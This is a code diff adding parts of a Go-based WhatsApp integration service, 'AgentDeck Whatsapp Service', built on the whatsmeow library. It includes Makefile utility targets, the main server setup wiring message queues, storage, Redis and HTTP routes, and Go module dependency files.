+clean: ## Remove arquivos de build
+	@echo "$(YELLOW)🧹 Limpando arquivos de build...$(NC)"
+	@rm -rf $(BUILD_DIR)
+	@rm -f coverage.out coverage.html
+	@echo "$(GREEN)✅ Limpeza completa$(NC)"
+
+clean-all: clean ## Remove arquivos de build e cache
+	@echo "$(YELLOW)🧹 Limpeza completa (incluindo cache)...$(NC)"
+	$(GO) clean -cache -testcache -modcache
+	@echo "$(GREEN)✅ Limpeza completa$(NC)"
+
+##@ Utilitários
+
+setup: deps swagger ## Setup completo do ambiente de desenvolvimento
+	@echo "$(GREEN)🎉 Setup completo!$(NC)"
+	@echo ""
+	@echo "Para começar a desenvolver, rode:"
+	@echo "  $(YELLOW)make dev$(NC)"
+	@echo ""
+	@echo "Outros comandos úteis:"
+	@echo "  $(YELLOW)make help$(NC)       - Ver todos os comandos"
+	@echo "  $(YELLOW)make test$(NC)       - Rodar testes"
+	@echo "  $(YELLOW)make build$(NC)      - Compilar a aplicação"
+
+logs: ## Exibe logs da aplicação (se estiver rodando)
+	@echo "$(GREEN)📋 Exibindo logs...$(NC)"
+	@if [ -f "logs/app.log" ]; then \
+		tail -f logs/app.log; \
+	else \
+		echo "$(YELLOW)⚠️  Arquivo de log não encontrado$(NC)"; \
+	fi
+
+version: ## Exibe versão do Go e dependências
+	@echo "$(GREEN)📌 Versões:$(NC)"
+	@$(GO) version
+	@echo ""
+	@echo "$(GREEN)Dependências principais:$(NC)"
+	@$(GO) list -m all | grep -E '(whatsmeow|postgres|minio)'
+
+status: ## Verifica status da aplicação
+	@echo "$(GREEN)🔍 Verificando status...$(NC)"
+	@curl -s http://localhost:4000/health || echo "$(RED)❌ Aplicação não está rodando$(NC)"
+
+##@ Desenvolvimento Avançado
+
+profile-cpu: ## Profile de CPU (requer aplicação rodando)
+	@echo "$(GREEN)📊 Capturando profile de CPU...$(NC)"
+	curl http://localhost:4000/debug/pprof/profile?seconds=30 > cpu.prof
+	$(GO) tool pprof -http=:8080 cpu.prof
+
+profile-mem: ## Profile de memória (requer aplicação rodando)
+	@echo "$(GREEN)📊 Capturando profile de memória...$(NC)"
+	curl http://localhost:4000/debug/pprof/heap > mem.prof
+	$(GO) tool pprof -http=:8080 mem.prof
+
+generate: ## Roda go generate
+	@echo "$(GREEN)⚙️  Executando go generate...$(NC)"
+	$(GO) generate ./...
+
+mod-graph: ## Exibe gráfico de dependências
+	@echo "$(GREEN)📊 Gráfico de dependências:$(NC)"
+	$(GO) mod graph

whatsapp-service/NOTICE

@@ -0,0 +1,7 @@
+AgentDeck Whatsapp Service
+Copyright 2026 AgentDeck
+
+Third-party attributions:
+
+- whatsmeow (https://github.com/tulir/whatsmeow) by Tulir Asokan, used as the
+  WhatsApp protocol library.

whatsapp-service/VERSION

@@ -0,0 +1 @@
+0.7.2

whatsapp-service/cmd/agentdeck-whatsapp-service/main.go

@@ -0,0 +1,397 @@
+package main
+
+import (
+	"context"
+	"database/sql"
+	"flag"
+	"fmt"
+	"log"
+	"net/http"
+	"os"
+	"os/signal"
+	"strings"
+	"syscall"
+	"time"
+
+	"github.com/gin-gonic/gin"
+	"github.com/gomessguii/logger"
+	"github.com/joho/godotenv"
+	"github.com/redis/go-redis/v9"
+	"go.mau.fi/whatsmeow"
+
+	call_handler "agentdeck-whatsapp-service/pkg/call/handler"
+	call_service "agentdeck-whatsapp-service/pkg/call/service"
+	chat_handler "agentdeck-whatsapp-service/pkg/chat/handler"
+	chat_service "agentdeck-whatsapp-service/pkg/chat/service"
+	community_handler "agentdeck-whatsapp-service/pkg/community/handler"
+	community_service "agentdeck-whatsapp-service/pkg/community/service"
+	config "agentdeck-whatsapp-service/pkg/config"
+	"agentdeck-whatsapp-service/pkg/core"
+	producer_interfaces "agentdeck-whatsapp-service/pkg/events/interfaces"
+	nats_producer "agentdeck-whatsapp-service/pkg/events/nats"
+	rabbitmq_producer "agentdeck-whatsapp-service/pkg/events/rabbitmq"
+	webhook_producer "agentdeck-whatsapp-service/pkg/events/webhook"
+	websocket_producer "agentdeck-whatsapp-service/pkg/events/websocket"
+	group_handler "agentdeck-whatsapp-service/pkg/group/handler"
+	group_service "agentdeck-whatsapp-service/pkg/group/service"
+	instance_handler "agentdeck-whatsapp-service/pkg/instance/handler"
+	instance_repository "agentdeck-whatsapp-service/pkg/instance/repository"
+	instance_service "agentdeck-whatsapp-service/pkg/instance/service"
+	label_handler "agentdeck-whatsapp-service/pkg/label/handler"
+	label_repository "agentdeck-whatsapp-service/pkg/label/repository"
+	label_service "agentdeck-whatsapp-service/pkg/label/service"
+	logger_wrapper "agentdeck-whatsapp-service/pkg/logger"
+	message_handler "agentdeck-whatsapp-service/pkg/message/handler"
+	message_repository "agentdeck-whatsapp-service/pkg/message/repository"
+	message_service "agentdeck-whatsapp-service/pkg/message/service"
+	auth_middleware "agentdeck-whatsapp-service/pkg/middleware"
+	newsletter_handler "agentdeck-whatsapp-service/pkg/newsletter/handler"
+	newsletter_service "agentdeck-whatsapp-service/pkg/newsletter/service"
+	passkey_handler "agentdeck-whatsapp-service/pkg/passkey/handler"
+	poll_handler "agentdeck-whatsapp-service/pkg/poll/handler"
+	routes "agentdeck-whatsapp-service/pkg/routes"
+	send_handler "agentdeck-whatsapp-service/pkg/sendMessage/handler"
+	send_service "agentdeck-whatsapp-service/pkg/sendMessage/service"
+	server_handler "agentdeck-whatsapp-service/pkg/server/handler"
+	storage_interfaces "agentdeck-whatsapp-service/pkg/storage/interfaces"
+	minio_storage "agentdeck-whatsapp-service/pkg/storage/minio"
+	"agentdeck-whatsapp-service/pkg/supabase"
+	user_handler "agentdeck-whatsapp-service/pkg/user/handler"
+	user_service "agentdeck-whatsapp-service/pkg/user/service"
+	whatsmeow_service "agentdeck-whatsapp-service/pkg/whatsmeow/service"
+	amqp "github.com/rabbitmq/amqp091-go"
+)
+
+var devMode = flag.Bool("dev", false, "Enable development mode")
+
+var version = "0.0.0"
+
+func init() {
+	// ldflags -X main.version= sets this at compile time.
+	// If not set (or still default), try reading from VERSION file.
+	if version == "0.0.0" {
+		if v, err := os.ReadFile("VERSION"); err == nil {
+			if trimmed := strings.TrimSpace(string(v)); trimmed != "" {
+				version = trimmed
+			}
+		}
+	}
+}
+
+func setupRouter(supa *supabase.Client, authDB *sql.DB, redisClient *redis.Client, config *config.Config, conn *amqp.Connection, runtimeCtx *core.RuntimeContext) *gin.Engine {
+	killChannel := make(map[string](chan bool))
+	clientPointer := make(map[string]*whatsmeow.Client)
+
+	loggerWrapper := logger_wrapper.NewLoggerManager(config)
+
+	var rabbitmqProducer producer_interfaces.Producer
+	if conn != nil {
+		logger.LogInfo("RabbitMQ enabled")
+		rabbitmqProducer = rabbitmq_producer.NewRabbitMQProducer(
+			conn,
+			config.AmqpGlobalEnabled,
+			config.AmqpGlobalEvents,
+			config.AmqpSpecificEvents,
+			config.AmqpUrl,
+			loggerWrapper,
+		)
+	} else {
+		// Even if initial connection failed, pass the URL so reconnection can work
+		rabbitmqProducer = rabbitmq_producer.NewRabbitMQProducer(
+			nil,
+			config.AmqpGlobalEnabled,
+			config.AmqpGlobalEvents,
+			config.AmqpSpecificEvents,
+			config.AmqpUrl, // Keep the URL for reconnection attempts
+			loggerWrapper,
+		)
+	}
+
+	var natsProducer producer_interfaces.Producer
+	if config.NatsUrl != "" {
+		logger.LogInfo("NATS enabled")
+		natsProducer = nats_producer.NewNatsProducer(
+			config.NatsUrl,
+			config.NatsGlobalEnabled,
+			config.NatsGlobalEvents,
+			loggerWrapper,
+		)
+	} else {
+		natsProducer = nats_producer.NewNatsProducer(
+			"",
+			false,
+			nil,
+			loggerWrapper,
+		)
+	}
+
+	webhookProducer := webhook_producer.NewWebhookProducer(config.WebhookUrl, loggerWrapper)
+	websocketProducer := websocket_producer.NewWebsocketProducer(loggerWrapper)
+
+	// Cria filas globais se o RabbitMQ global estiver habilitado
+	if config.AmqpGlobalEnabled && conn != nil {
+		logger.LogInfo("Creating global RabbitMQ queues...")
+		if err := rabbitmqProducer.CreateGlobalQueues(); err != nil {
+			logger.LogError("Failed to create global RabbitMQ queues: %v", err)
+		} else {
+			logger.LogInfo("Global RabbitMQ queues created successfully")
+		}
+	}
+
+	var mediaStorage storage_interfaces.MediaStorage
+	var err error
+	if config.MinioEnabled {
+		mediaStorage, err = minio_storage.NewMinioMediaStorage(
+			config.MinioEndpoint,
+			config.MinioAccessKey,
+			config.MinioSecretKey,
+			config.MinioBucket,
+			config.MinioRegion,
+			config.MinioUseSSL,
+		)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+
+	instanceRepository := instance_repository.NewInstanceRepository(supa)
+	messageRepository := message_repository.NewMessageRepository(supa)
+	labelRepository := label_repository.NewLabelRepository(supa)
+
+	whatsmeowService := whatsmeow_service.NewWhatsmeowService(
+		instanceRepository,
+		authDB,
+		supa,
+		messageRepository,
+		labelRepository,
+		config,
+		killChannel,
+		clientPointer,
+		rabbitmqProducer,
+		webhookProducer,
+		websocketProducer,
+		redisClient,
+		mediaStorage,
+		natsProducer,
+		loggerWrapper,
+	)
+	instanceService := instance_service.NewInstanceService(
+		instanceRepository,
+		killChannel,
+		clientPointer,
+		whatsmeowService,
+		config,
+		loggerWrapper,
+	)
+	sendMessageService := send_service.NewSendService(clientPointer, whatsmeowService, config, loggerWrapper)
+	userService := user_service.NewUserService(clientPointer, whatsmeowService, loggerWrapper)
+	messageService := message_service.NewMessageService(clientPointer, messageRepository, whatsmeowService, loggerWrapper)
+	chatService := chat_service.NewChatService(clientPointer, whatsmeowService, loggerWrapper)
+	groupService := group_service.NewGroupService(clientPointer, whatsmeowService, loggerWrapper)
+	callService := call_service.NewCallService(clientPointer, whatsmeowService, loggerWrapper)
+	communityService := community_service.NewCommunityService(clientPointer, whatsmeowService, loggerWrapper)
+	labelService := label_service.NewLabelService(clientPointer, whatsmeowService, labelRepository, loggerWrapper)
+	newsletterService := newsletter_service.NewNewsletterService(clientPointer, whatsmeowService, loggerWrapper)
+
+	// NOVO: PollHandler usando PollService já inicializado no whatsmeowService (evita dupla inicialização)
+	pollHandler := poll_handler.NewPollHandler(whatsmeowService.GetPollService(), loggerWrapper)
+
+	r := gin.Default()
+
+	// CORS middleware — must be before everything else
+	r.Use(func(c *gin.Context) {
+		c.Writer.Header().Set("Access-Control-Allow-Origin", "*")
+		c.Writer.Header().Set("Access-Control-Allow-Credentials", "true")
+		c.Writer.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, PATCH, DELETE, OPTIONS")
+		c.Writer.Header().Set("Access-Control-Allow-Headers", "Origin, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, Accept, Cache-Control, X-Requested-With, apikey, ApiKey")
+		c.Writer.Header().Set("Access-Control-Expose-Headers", "Content-Length")
+		if c.Request.Method == "OPTIONS" {
+			c.AbortWithStatus(200)
+			return
+		}
+		c.Next()
+	})
+
+	r.Use(core.GateMiddleware(runtimeCtx))
+
+	// License routes (always accessible, even without license)
+	core.LicenseRoutes(r, runtimeCtx)
+
+	// Passkey ceremony routes — PUBLIC (called by the browser extension from the
+	// web.whatsapp.com origin, gated only by an opaque ephemeral token).
+	passkey_handler.RegisterRoutes(r, whatsmeowService)
+
+	routes.NewRouter(
+		auth_middleware.NewMiddleware(config, instanceService),
+		instance_handler.NewInstanceHandler(instanceService, config),
+		user_handler.NewUserHandler(userService),
+		send_handler.NewSendHandler(sendMessageService),
+		message_handler.NewMessageHandler(messageService),
+		chat_handler.NewChatHandler(chatService),
+		group_handler.NewGroupHandler(groupService),
+		call_handler.NewCallHandler(callService),
+		community_handler.NewCommunityHandler(communityService),
+		label_handler.NewLabelHandler(labelService),
+		newsletter_handler.NewNewsletterHandler(newsletterService),
+		pollHandler,
+		server_handler.NewServerHandler(),
+	).AssignRoutes(r)
+
+	if config.ConnectOnStartup {
+		go whatsmeowService.ConnectOnStartup(config.ClientName)
+	}
+
+	r.GET("/ws", func(c *gin.Context) {
+		token := c.Query("token")
+		instanceId := c.Query("instanceId")
+
+		if token != config.GlobalApiKey {
+			logger.LogError("Token inválido: %s", token)
+			c.JSON(http.StatusUnauthorized, gin.H{"error": "Token inválido"})
+			return
+		}
+
+		websocket_producer.ServeWs(c.Writer, c.Request, instanceId, websocketProducer)
+	})
+
+	return r
+}
+
+// initRedis connects to Redis using the full URL (REDIS_URL). It is used for
+// the userInfoCache and processedMessages deduplication cache.
+func initRedis(redisURL string) (*redis.Client, error) {
+	if redisURL == "" {
+		return nil, fmt.Errorf("REDIS_URL is required for caching")
+	}
+	opts, err := redis.ParseURL(redisURL)
+	if err != nil {
+		return nil, fmt.Errorf("invalid REDIS_URL: %v", err)
+	}
+	client := redis.NewClient(opts)
+	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	if err := client.Ping(ctx).Err(); err != nil {
+		return nil, fmt.Errorf("failed to ping Redis: %v", err)
+	}
+	logger.LogInfo("Connected to Redis (REDIS_URL)")
+	return client, nil
+}
+
+// @title AgentDeck Whatsapp Service
+// @version 1.0
+// @description AgentDeck Whatsapp Service - whatsmeow
+func main() {
+	flag.Parse()
+	// Configuration is injected through the process environment (the main
+	// AgentDeck backend is the single source of truth and forwards the
+	// WhatsApp settings to this service). A local `.env` is only loaded when
+	// `--dev` is passed AND the file exists — it is never required.
+	if *devMode {
+		if _, err := os.Stat(".env"); err == nil {
+			if err := godotenv.Load(".env"); err != nil {
+				log.Fatalf("failed to load .env: %v", err)
+			}
+		}
+	}
+
+	cfg := config.Load()
+
+	logger.LogInfo("Starting AgentDeck Whatsapp Service version %s", version)
+
+	startTime := time.Now()
+
+	// Supabase PostgREST client — drives all app repositories (instances,
+	// messages, labels, polls, runtime configs).
+	supa := supabase.New(cfg.SupabaseURL, cfg.SupabaseServiceKey)
+
+	// Native Supabase Postgres — used only by the whatsmeow session store and
+	// the whatsmeow_device lookup (these require a Postgres driver).
+	authDB, err := cfg.CreateSupabaseDB()
+	if err != nil {
+		logger.LogFatal("[STARTUP] %v", err)
+	}
+	defer authDB.Close()
+
+	// Redis — userInfoCache and processedMessages deduplication.
+	redisClient, err := initRedis(cfg.RedisURL)
+	if err != nil {
+		logger.LogFatal("[STARTUP] %v", err)
+	}
+	defer redisClient.Close()
+
+	// Initialize core DB + license runtime (runtime_configs via PostgREST)
+	core.SetDB(supa)
+	if err := core.MigrateDB(); err != nil {
+		log.Fatal("Failed to migrate runtime_configs: ", err)
+	}
+	tier := "agentdeck-whatsapp"
+	runtimeCtx := core.InitializeRuntime(tier, version, cfg.GlobalApiKey)
+
+	var conn *amqp.Connection
+
+	if cfg.AmqpUrl != "" {
+		logger.LogInfo("Attempting to connect to RabbitMQ...")
+
+		// Create connection with heartbeat to prevent timeouts
+		amqpConfig := amqp.Config{
+			Heartbeat: 30 * time.Second, // Send heartbeat every 30 seconds
+			Locale:    "en_US",
+		}
+
+		conn, err = amqp.DialConfig(cfg.AmqpUrl, amqpConfig)
+		if err != nil {
+			logger.LogError("Failed to connect to RabbitMQ, err: %v", err)
+			logger.LogInfo("RabbitMQ producer will be created with reconnection capability")
+		} else {
+			logger.LogInfo("Successfully connected to RabbitMQ with heartbeat enabled")
+			defer func(conn *amqp.Connection) {
+				err := conn.Close()
+				if err != nil {
+					logger.LogError("Failed to close RabbitMQ connection, err: %v", err)
+				}
+			}(conn)
+		}
+	} else {
+		logger.LogInfo("RabbitMQ URL not configured, skipping RabbitMQ connection")
+	}
+
+	r := setupRouter(supa, authDB, redisClient, cfg, conn, runtimeCtx)
+
+	// Graceful shutdown with heartbeat
+	heartbeatCtx, heartbeatCancel := context.WithCancel(context.Background())
+	defer heartbeatCancel()
+
+	core.StartHeartbeat(heartbeatCtx, runtimeCtx, startTime)
+
+	srv := &http.Server{
+		Addr:    ":" + os.Getenv("SERVER_PORT"),
+		Handler: r,
+	}
+
+	quit := make(chan os.Signal, 1)
+	signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
+
+	go func() {
+		logger.LogInfo("Iniciando servidor na porta %s", os.Getenv("SERVER_PORT"))
+		if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
+			log.Fatalf("server error: %v", err)
+		}
+	}()
+
+	<-quit
+	logger.LogInfo("[SHUTDOWN] Signal received, shutting down...")
+
+	// Stop heartbeat loop
+	heartbeatCancel()
+
+	core.Shutdown(runtimeCtx)
+
+	shutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 10*time.Second)
+	defer shutdownCancel()
+
+	if err := srv.Shutdown(shutdownCtx); err != nil {
+		logger.LogError("[SHUTDOWN] Server forced to shutdown: %v", err)
+	}
+
+	logger.LogInfo("[SHUTDOWN] Server exited")
+}

whatsapp-service/go.mod

@@ -0,0 +1,87 @@
+module agentdeck-whatsapp-service
+
+go 1.25.0
+
+require (
+	github.com/chai2010/webp v1.1.1
+	github.com/gabriel-vasile/mimetype v1.4.5
+	github.com/gin-gonic/gin v1.10.0
+	github.com/gomessguii/logger v0.0.3
+	github.com/google/uuid v1.6.0
+	github.com/gorilla/websocket v1.5.3
+	github.com/joho/godotenv v1.5.1
+	github.com/lib/pq v1.10.9
+	github.com/minio/minio-go/v7 v7.0.80
+	github.com/nats-io/nats.go v1.39.0
+	github.com/rabbitmq/amqp091-go v1.10.0
+	github.com/redis/go-redis/v9 v9.22.0
+	github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e
+	github.com/swaggo/files v1.0.1
+	github.com/swaggo/gin-swagger v1.6.0
+	github.com/swaggo/swag v1.16.3
+	github.com/vincent-petithory/dataurl v1.0.0
+	go.mau.fi/whatsmeow v0.0.0-20260630180629-b572e5bcb92b
+	golang.org/x/exp v0.0.0-20260611194520-c48552f49976
+	golang.org/x/image v0.0.0-20211028202545-6944b10bf410
+	golang.org/x/net v0.56.0
+	google.golang.org/protobuf v1.36.11
+	gopkg.in/natefinch/lumberjack.v2 v2.2.1
+	gorm.io/gorm v1.25.10
+)
+
+require (
+	filippo.io/edwards25519 v1.2.0 // indirect
+	github.com/KyleBanks/depth v1.2.1 // indirect
+	github.com/beeper/argo-go v1.1.2 // indirect
+	github.com/bytedance/sonic v1.12.2 // indirect
+	github.com/bytedance/sonic/loader v0.2.0 // indirect
+	github.com/cespare/xxhash/v2 v2.3.0 // indirect
+	github.com/cloudwego/base64x v0.1.4 // indirect
+	github.com/cloudwego/iasm v0.2.0 // indirect
+	github.com/coder/websocket v1.8.15 // indirect
+	github.com/dustin/go-humanize v1.0.1 // indirect
+	github.com/elliotchance/orderedmap/v3 v3.1.0 // indirect
+	github.com/gin-contrib/sse v0.1.0 // indirect
+	github.com/go-ini/ini v1.67.0 // indirect
+	github.com/go-openapi/jsonpointer v0.21.0 // indirect
+	github.com/go-openapi/jsonreference v0.21.0 // indirect
+	github.com/go-openapi/spec v0.21.0 // indirect
+	github.com/go-openapi/swag v0.23.0 // indirect
+	github.com/go-playground/locales v0.14.1 // indirect
+	github.com/go-playground/universal-translator v0.18.1 // indirect
+	github.com/go-playground/validator/v10 v10.22.0 // indirect
+	github.com/goccy/go-json v0.10.3 // indirect
+	github.com/jinzhu/inflection v1.0.0 // indirect
+	github.com/jinzhu/now v1.1.5 // indirect
+	github.com/josharian/intern v1.0.0 // indirect
+	github.com/json-iterator/go v1.1.12 // indirect
+	github.com/klauspost/compress v1.17.11 // indirect
+	github.com/klauspost/cpuid/v2 v2.2.10 // indirect
+	github.com/leodido/go-urn v1.4.0 // indirect
+	github.com/mailru/easyjson v0.7.7 // indirect
+	github.com/mattn/go-colorable v0.1.14 // indirect
+	github.com/mattn/go-isatty v0.0.20 // indirect
+	github.com/minio/md5-simd v1.1.2 // indirect
+	github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
+	github.com/modern-go/reflect2 v1.0.2 // indirect
+	github.com/nats-io/nkeys v0.4.9 // indirect
+	github.com/nats-io/nuid v1.0.1 // indirect
+	github.com/pelletier/go-toml/v2 v2.2.3 // indirect
+	github.com/petermattis/goid v0.0.0-20260330135022-df67b199bc81 // indirect
+	github.com/rogpeppe/go-internal v1.12.0 // indirect
+	github.com/rs/xid v1.6.0 // indirect
+	github.com/rs/zerolog v1.35.1 // indirect
+	github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
+	github.com/ugorji/go/codec v1.2.12 // indirect
+	github.com/vektah/gqlparser/v2 v2.5.27 // indirect
+	go.mau.fi/libsignal v0.2.2 // indirect
+	go.mau.fi/util v0.9.10 // indirect
+	go.uber.org/atomic v1.11.0 // indirect
+	golang.org/x/arch v0.10.0 // indirect
+	golang.org/x/crypto v0.53.0 // indirect
+	golang.org/x/sync v0.21.0 // indirect
+	golang.org/x/sys v0.46.0 // indirect
+	golang.org/x/text v0.38.0 // indirect
+	golang.org/x/tools v0.46.0 // indirect
+	gopkg.in/yaml.v3 v3.0.1 // indirect
+)

whatsapp-service/go.sum

@@ -0,0 +1,241 @@
+filippo.io/edwards25519 v1.2.0 h1:crnVqOiS4jqYleHd9vaKZ+HKtHfllngJIiOpNpoJsjo=
+filippo.io/edwards25519 v1.2.0/go.mod h1:xzAOLCNug/yB62zG1bQ8uziwrIqIuxhctzJT18Q77mc=
+github.com/DATA-DOG/go-sqlmock v1.5.2 h1:OcvFkGmslmlZibjAjaHm3L//6LiuBgolP7OputlJIzU=
+github.com/DATA-DOG/go-sqlmock v1.5.2/go.mod h1:88MAG/4G7SMwSE3CeA0ZKzrT5CiOU3OJ+JlNzwDqpNU=
+github.com/KyleBanks/depth v1.2.1 h1:5h8fQADFrWtarTdtDudMmGsC7GPbOAu6RVB3ffsVFHc=
+github.com/KyleBanks/depth v1.2.1/go.mod h1:jzSb9d0L43HxTQfT+oSA1EEp2q+ne2uh6XgeJcm8brE=
+github.com/agnivade/levenshtein v1.2.1 h1:EHBY3UOn1gwdy/VbFwgo4cxecRznFk7fKWN1KOX7eoM=
+github.com/agnivade/levenshtein v1.2.1/go.mod h1:QVVI16kDrtSuwcpd0p1+xMC6Z/VfhtCyDIjcwga4/DU=
+github.com/andreyvit/diff v0.0.0-20170406064948-c7f18ee00883 h1:bvNMNQO63//z+xNgfBlViaCIJKLlCJ6/fmUseuG0wVQ=
+github.com/andreyvit/diff v0.0.0-20170406064948-c7f18ee00883/go.mod h1:rCTlJbsFo29Kk6CurOXKm700vrz8f0KW0JNfpkRJY/8=
+github.com/beeper/argo-go v1.1.2 h1:UQI2G8F+NLfGTOmTUI0254pGKx/HUU/etbUGTJv91Fs=
+github.com/beeper/argo-go v1.1.2/go.mod h1:M+LJAnyowKVQ6Rdj6XYGEn+qcVFkb3R/MUpqkGR0hM4=
+github.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs=
+github.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c=
+github.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA=
+github.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0=
+github.com/bytedance/sonic v1.12.2 h1:oaMFuRTpMHYLpCntGca65YWt5ny+wAceDERTkT2L9lg=
+github.com/bytedance/sonic v1.12.2/go.mod h1:B8Gt/XvtZ3Fqj+iSKMypzymZxw/FVwgIGKzMzT9r/rk=
+github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU=
+github.com/bytedance/sonic/loader v0.2.0 h1:zNprn+lsIP06C/IqCHs3gPQIvnvpKbbxyXQP1iU4kWM=
+github.com/bytedance/sonic/loader v0.2.0/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU=
+github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
+github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
+github.com/chai2010/webp v1.1.1 h1:jTRmEccAJ4MGrhFOrPMpNGIJ/eybIgwKpcACsrTEapk=
+github.com/chai2010/webp v1.1.1/go.mod h1:0XVwvZWdjjdxpUEIf7b9g9VkHFnInUSYujwqTLEuldU=
+github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y=
+github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w=
+github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg=
+github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY=
+github.com/coder/websocket v1.8.15 h1:6B2JPeOGlpff2Uz6vOEH1Vzpi0iUz20A+lPVhPHtNUA=
+github.com/coder/websocket v1.8.15/go.mod h1:NX3SzP+inril6yawo5CQXx8+fk145lPDC6pumgx0mVg=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
+github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
+github.com/elliotchance/orderedmap/v3 v3.1.0 h1:j4DJ5ObEmMBt/lcwIecKcoRxIQUEnw0L804lXYDt/pg=
+github.com/elliotchance/orderedmap/v3 v3.1.0/go.mod h1:G+Hc2RwaZvJMcS4JpGCOyViCnGeKf0bTYCGTO4uhjSo=
+github.com/gabriel-vasile/mimetype v1.4.5 h1:J7wGKdGu33ocBOhGy0z653k/lFKLFDPJMG8Gql0kxn4=
+github.com/gabriel-vasile/mimetype v1.4.5/go.mod h1:ibHel+/kbxn9x2407k1izTA1S81ku1z/DlgOW2QE0M4=
+github.com/gin-contrib/gzip v0.0.6 h1:NjcunTcGAj5CO1gn4N8jHOSIeRFHIbn51z6K+xaN4d4=
+github.com/gin-contrib/gzip v0.0.6/go.mod h1:QOJlmV2xmayAjkNS2Y8NQsMneuRShOU/kjovCXNuzzk=
+github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
+github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
+github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU=
+github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y=
+github.com/go-ini/ini v1.67.0 h1:z6ZrTEZqSWOTyH2FlglNbNgARyHG8oLW9gMELqKr06A=
+github.com/go-ini/ini v1.67.0/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
+github.com/go-openapi/jsonpointer v0.21.0 h1:YgdVicSA9vH5RiHs9TZW5oyafXZFc6+2Vc1rr/O9oNQ=
+github.com/go-openapi/jsonpointer v0.21.0/go.mod h1:IUyH9l/+uyhIYQ/PXVA41Rexl+kOkAPDdXEYns6fzUY=
+github.com/go-openapi/jsonreference v0.21.0 h1:Rs+Y7hSXT83Jacb7kFyjn4ijOuVGSvOdF2+tg1TRrwQ=
+github.com/go-openapi/jsonreference v0.21.0/go.mod h1:LmZmgsrTkVg9LG4EaHeY8cBDslNPMo06cago5JNLkm4=
+github.com/go-openapi/spec v0.21.0 h1:LTVzPc3p/RzRnkQqLRndbAzjY0d0BCL72A6j3CdL9ZY=
+github.com/go-openapi/spec v0.21.0/go.mod h1:78u6VdPw81XU44qEWGhtr982gJ5BWg2c0I5XwVMotYk=
+github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE=
+github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ=
+github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
+github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
+github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
+github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=
+github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=
+github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
+github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao=
